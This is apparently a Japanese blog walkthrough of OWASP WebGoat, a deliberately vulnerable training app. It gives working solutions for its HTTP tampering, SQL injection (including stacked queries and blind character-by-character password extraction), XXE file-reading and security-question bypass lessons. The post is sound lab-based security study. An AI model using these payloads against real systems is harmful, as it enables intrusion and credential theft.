14
16

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

WebGoatを一通りやってみる

Last updated at Posted at 2019-04-08

WebGoat

WebGoatは、わざと脆弱性を含ませたWebアプリケーションであり、レッスン形式でセキュリティを学べるようになっている。

クリアした課題には以下のように緑色のチェックがつ

セットアップ

以下に記載されている手順に従いセットアップ
https://github.com/WebGoat/WebGoat
https://hub.docker.com/r/webgoat/webgoat-8.0/

docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0

General

HTTP Basics

目的

フォームにユーザ名を入力してsubmitすると基本的なHTTPリクエストの処理が行われる。
その基本的な処理が理解できていればOK。

解答

Page2

フォームにユーザ名を入力すると入力したユーザ名が反転して表示される。

Page3

フォームでの送信がGETかPOSTかというのとmagic numberがなんだったかを答えればOK
※magic numberはソースなどに直接記述された数値で実装者本人にしか意図が理解できないようなものをさす。
Chromeのdevtoolをみると以下のようにRequest MethodはPOST, magic numberは44とわかるので再度フォームに入力して送信するとクリア

HTTP Proxies

目的

リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する

解答

Page1~5

ツールの説明が記載されているだけなので割愛

Page6

フォームがあり、送信するとPOSTメソッドで入力値が送られる。
課題は

  • GETメソッドで値を送信する
  • Form Dataを「changeMe」から「Requests are tampered easily」に変更する

今回はローカルプロキシを使用しヘッダを改ざんすることで実現する。
OWASP ZAPを使ってブラウザとサーバ間の途中でbreak、ヘッダを追加する
メソッドをGET、ヘッダにx-request-intercepted:trueを追加して送信する。

Injection Flaws

SQL Injection

目的

SQLインジェクションについて学ぶ

解答

Page7

フォームで入力した値を使用してSQLが実行されるのですべてのユーザー情報を取得できればクリアとなる。

おそらくSQLはSELECT * FROM xxx WHERE user_name = '変数'のような感じになっており、フォームで入力した値が変数に入るはず。
なので以下のような感じで入力してやるとクリアになる。
' OR 'x' = 'x
変数に入れると以下のようになり、WHEREの後半の部分が全てtrueになるので全ての情報が表示されてしまう。
SELECT * FROM xxx WHERE user_name = '' OR 'x' = 'x'

Page8

Page8と同じだがユーザ名ではなくユーザIDでの取得になっているので1 OR 'x' = 'x'のような感じでOK。
'があるかないかの違い。
ちなみに;で別クエリ投げれるかと思ったが、そっちは対応されていた。

対策

エスケープ処理はしっかりと。

SQL Injection (mitigation)

目的

リクエストメソッドを書き換えたりヘッダを書き換えたりすることで意図しない挙動をさせることができることを理解する

解答

Page8

SQL Injection (advanced)

目的

SQLインジェクション手法の組み合わせとブラインドSQLインジェクション

解答

Page3

以下で作成されているテーブルに対してSQLインジェクションをする

CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));
6a)

ユーザ名を入力するとそのユーザの情報を取得できる。
;はエスケープされていなかったので別のクエリを連結してSQLを実行する。

普通はテーブル名はわからないのでテーブル名を見れるかをやってみたが、user lacks privilege or object not found: ALL_TABLESとなりダメだったのでさっさと課題の解答にすすむ。

とりあえず以下で実行。
';SELECT * FROM user_system_data;
';でもともとのSQLを終了させて、実行したいSQLを入力する。
ただし、上記を実行しても'でエラーになる。
SELECT xxx FROM user_system=data WHERE user_name = "'" + 変数 + "'"
みないな感じなSQLになっていると思われるので先ほど入力した値を入れると
SELECT xxx FROM user_system=data WHERE user_name = '';SELECT * FROM user_system_data;'
となり、最後の'エラーになっていると思われる。なので--をつけて入力した値の後続のSQL文を全てコメントアウトする。

';SELECT * FROM user_system_data; --
でクリアとなった

6b)

Daveのパスワードを送信すればクリアになる
6aで全てのユーザの情報が取得できているので表示されているパスワードpassW0rDを入力すればクリアになる。

Page5

以下のフォームでTomとしてログインすればクリアとなる。

いろいろ試していたら以下のことがわかった。

  • LOGIN画面では特にインジェクションできそうなことはない
  • REGISTER画面
  • SQLインジェクションするために使う';がエスケープされていないかみるために'; --とすると「User '; -- created, please proceed to the login page.」となるので普通に使えそう。
  • 同じユーザ名で登録しようとすると「User ユーザ名 already exists please try to register with a different username.」と表示されるのでユーザがすでに存在するかがわかる
  • 同じユーザ名のアカウントがないかを調べるためにSQLを実行していると思われるので、true/falseの挙動をみてみる。
    trueの時: 「User tom' and 'a' = 'a'; -- already exists please try to register with a different username.」
    falseの時: 「User tom' and 'a' = 'b'; -- created, please proceed to the login page.」
     という表示になる。
  • length(password) > 1とすると「User tom' and length(password) > 1 ; -- already exists please try to register with a different username.」となることからパスワードはpasswordというカラム名に保存されている
  • よくあるパスワード8桁とか適当な値で<, >を使って範囲を絞っていき、最後は順番に値をいれていくとパスワードは23桁ということがわかる。(User tom' and length(password) = 23 ; -- already exists please try to register with a different username.)
  • 次に文字列をさぐるために先ほど同様にtom' and substring(password, 1, 1) > 'm' --(User tom' and substring(password, 1, 1) < 'm' -- created, please proceed to the login page.)と順番に探っていくと最初の文字は「t」ということがわかる(User tom' and substring(password, 1, 1) = 't' -- already exists please try to register with a different username.)

あとはsubstring()で切り取る場所をかえつつ地道に探っていくだけ。最終的にパスワードは「thisisasecretfortomonly」になる。長い...

XXE

目的

XML External Entity attack(XXE)について学ぶ

XXEは文字通りXmlを外部から受け取りそれを元に動的にドキュメントを作成する機能を利用して行われる攻撃。

<!ENTITY hoge SYSTEM "attack.xml">
<hoge>&hoge;</hoge>

とした時&hoge;にattack.xmlの内容が表示されてしまう。(実体参照)
この仕組みを利用して意図しないファイルを参照するようにインジェクションを行う

解答

Page 3

以下のフォームがあるのでファイルシステムのルートディレクトリのリストを閲覧すればクリアとなる

試しに&hoge;と打つと以下のようにParseErrorが出るので外部参照していそう。

javax.xml.bind.UnmarshalExceptionn - with linked exception:n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,45]nMessage: The entity "hoge" was referenced, but not declared.]ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.handleStreamException(UnmarshallerImpl.java:485)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal0(UnmarshallerImpl.java:417)ntat com.sun.xml.bind.v2.runtime.unmarshaller.UnmarshallerImpl.unmarshal(UnmarshallerImpl.java:386)ntat org.owasp.webgoat.plugin.Comments.parseXml(Comments.java:73)ntat org.owasp.webgoat.plugin.SimpleXXE.createNewComment(SimpleXXE.java:70)ntat java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)ntat 

OWASP ZAPでsubmitのところにbreakポイントを仕込みリクエストをみてみると以下のようになっている。

<?xml version="1.0"?><comment>  <text>&hoge;</text></comment>

上記を以下のように変更してリクエストするとクリア

<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY hoge SYSTEM "file:///">
]>
<comment><text>&hoge;</text></comment>
Page 4

Page3とほぼ同じ。
Content-Typeがapplication/jsonになっているのでapplication/xmlに変えればOK

Authentication Flaws

Authentication Bypasses

Page2

パスワードの再設定画面で2要素認証をバイパスして再設定できればクリアとなる

とりあえず適当な値を入力してZAPでリクエストをみてみると以下のようになっている

secQuestion0=x&secQuestion1=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

とりあえず秘密の質問っぽいやつを消してみる

jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

→ 「Not quite, please try again.」

未入力になった。
次に変数名を壊してみる

ecQuestion0=x&ecQuestion1=xjsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

→ 「Not quite, please try again.」
変わらず。

次にsecQuestion0secQuestion1という変数名を適当にsecQuestion10,secQuestion11みたいな感じに変更してリクエスト

secQuestion10=x&secQuestion11=x&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746

→ 「Congrats, you have successfully verified the account without actually verifying it. You can now change your password!」
いけた。
正直なぜいけたかわかってない。secQuestion+数値を処理するようになっている?質問は2つ送られていればOKとしている?


残りは少しづつ更新していきます。

14
16
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
14
16

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?